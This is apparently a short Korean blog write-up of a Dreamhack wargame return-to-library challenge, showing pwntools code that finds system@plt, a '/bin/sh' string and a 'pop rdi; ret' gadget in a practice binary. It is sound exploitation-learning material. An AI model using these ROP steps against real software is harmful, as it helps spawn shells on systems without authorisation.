이번 문제는 아래 글과 동일한 문제이다. 다만 차이가 있다면 pwntools을 이용해 가젯과 문자열을 찾았다.
[system][hacking] Exploit Tech : Return to Library(RTL)
NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기
3omh4.tistory.com
간단히 사용한 API만 정리하였다. 밑의 API를 이용해 위 글의 페이로드를 적절히 수정해 해결하였다.
pwntools
ELF, ROP
e = ELF('./rtl')
r = ROP(e)
system_plt = e.plt["system"]
# binary(./rtl)에 존재하는 PLT주소
binsh = next(e.search(b"/bin/sh"))
# binary(./rtl)에 존재하는 /bin/sh 문자열의 offset
gadget = r.find_gadget(['pop rdi', 'ret'])[0]
# binary(./rtl)에 존재하는 pop rdi, ret 가젯의 주소
search함수는 단독으로 사용할 경우 오류가 생겼다.. 이유를 모르겠다..
'wargame - system > DreamHack' 카테고리의 다른 글
[Dreamhack] hook - Write Up (0) | 2024.05.23 |
---|---|
[Dreamhack] oneshot - Write Up (0) | 2024.05.22 |
[Dreamhack] ssp_001 - Write Up (0) | 2022.08.28 |
[Dreamhack] basic_exploitation_001 Write Up (0) | 2022.07.05 |
[Dreamhack] basic_exploitation_000 Write Up (0) | 2022.07.04 |